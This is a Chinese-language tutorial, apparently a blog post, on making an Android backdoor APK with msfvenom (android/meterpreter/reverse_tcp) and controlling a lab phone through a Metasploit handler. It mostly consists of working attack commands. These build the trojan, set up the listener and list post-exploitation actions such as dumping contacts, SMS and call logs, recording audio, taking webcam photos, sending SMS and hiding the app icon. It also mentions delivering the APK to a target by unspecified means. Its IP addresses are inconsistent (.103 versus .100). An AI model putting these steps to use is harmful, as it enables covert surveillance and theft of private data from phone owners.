目录
介绍
本文章的俩位主角:
Metasploit:
Metasploit
是一个广泛用于渗透测试
和漏洞利用
的开源工具。它提供了一套丰富的漏洞利用和渗透测试工具,此外,Metasploit框架是一个开源工具,旨在方便渗透测试,都是具有很好的扩展性。Msfvenom:
Msfvenom
是Metasploit框架中的一个强大的后门工具
,它可以生成针对不同操作系统和应用程序的恶意软件程序如木马、后门等
开始演习
演习目标:Msfvenom
生成的payload
木马软件控制靶机
攻击机:kali-rolling_arm64
靶机:Android10
安装Metasploit
安装教程可以看(https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html)
我这里使用命令一键安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
安装时间可能较长,需要耐心等待。
安装完成后查看命令参数
msfvenom -h
参数具体说明:
-l, --list <type>:列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-p, --payload <payload>:指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format <format>:指定输出格式
-e, --encoder <encoder>:指定需要使用的encoder(编码器),如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch <architecture>:指定payload的目标架构,例如x86 还是 x64 还是 x86_64
--platform <platform>:指定payload的目标平台
-o, --out <path>:指定创建好的payload的存放位置
-b, --bad-chars <list>:设定规避字符集,指定需要过滤的坏字符,避免加密后无法使用。例如:不使用 '\x0f'、'\x00'
-n, --nopsled <length>:为payload预先指定一个NOP滑动长度
-s, --space <length>:设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations <count>:指定payload的编码次数
-c, --add-code <path>:指定一个附加的win32 shellcode文件
-x, --template <path>:指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep:保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name <value>:指定一个自定义的变量,以确定输出格式
-t, --timeout <second>:从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,--help:查看帮助选项
生成木马
由于是局域网测试,所以直接用本地局域网ip,ip查看:
ipconfig
kail的ip是192.168.0.100
确认好ip后,开始生成后门木马程序
:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=1234 R > app.apk
其中
-p:payload(攻击荷载),我这里由于靶机是Android,所以我的是android/meterpreter/reverse_tcp
如果靶机是其他系统,可以跳转(https://blog.csdn.net/qq_48985780/article/details/121441548) 看看有还有哪些payload
LHOST:攻击机的ip
LPORT:攻击机的端口,自行设置
最后的app.apk是apk安装包的名字
等会生成成功后,然后我们用各种手段,将木马软件
传至给目标靶机
,靶机下载和安装后,可以利用msfconsole
监听靶机了(木马要的权限比较多)
msfconsole设置信息
使用命令
msfconsole
启动msfconsole
当启动成功后,会跳出输入框
首先使用handler
监听模块:
use exploit/multi/handler
随后
设置handler:
set payload android/meterpreter/reverse_tcp
设置ip(攻击机):
set lhost 192.168.0.100
设置端口(攻击机):
set lport 1234
设置之后使用命令查看参数:
options
参数信息对应着刚才的设置,一切正常后,准备开始监听靶机。
msfconsole监听靶机
输入命令开始运行handler模块(运行时确认靶机运行了程序):
run
等待出现meterpreter >
则运行成功,输入
help
查看所有可执行的命令手段,也是支持可以执行shell命令
注意!
木马软件需要保持在运行的情况下才可正常监听,但是它很可能会被系统杀死!
这里尝试着使用命令
dump_contacts //获取手机通讯录
获取后它会保存到txt文件,然后退出来使用cat
命令查看文件
cat contacts_dump_20240502191455.txt
再使用命令获取手机的app
app_list
常用的手机命令:
常用用户接口命令:
screenshare //实时查看手机屏幕
screenshot //给手机截屏
常用摄像头命令:
record_mic //录制音频
webcam_snap //摄像头拍照
webcam_stream //手机录像
webcam_chat //开启视频聊天
常用应用控制:
app_install //安装APP
app_uninstall //卸载手机APP
app_run //运行APP
app_list //查看你的手机APP列表
常用安卓命令:
check_root //检查手机是否开启root
dump_calllog //获取手机通话记录
dump_contacts //获取手机所有联系人
dump_sms //获取手机所有短信
send_sms //发送短信
hide_app_icon //隐藏APP图标
演习结束,欢迎评论!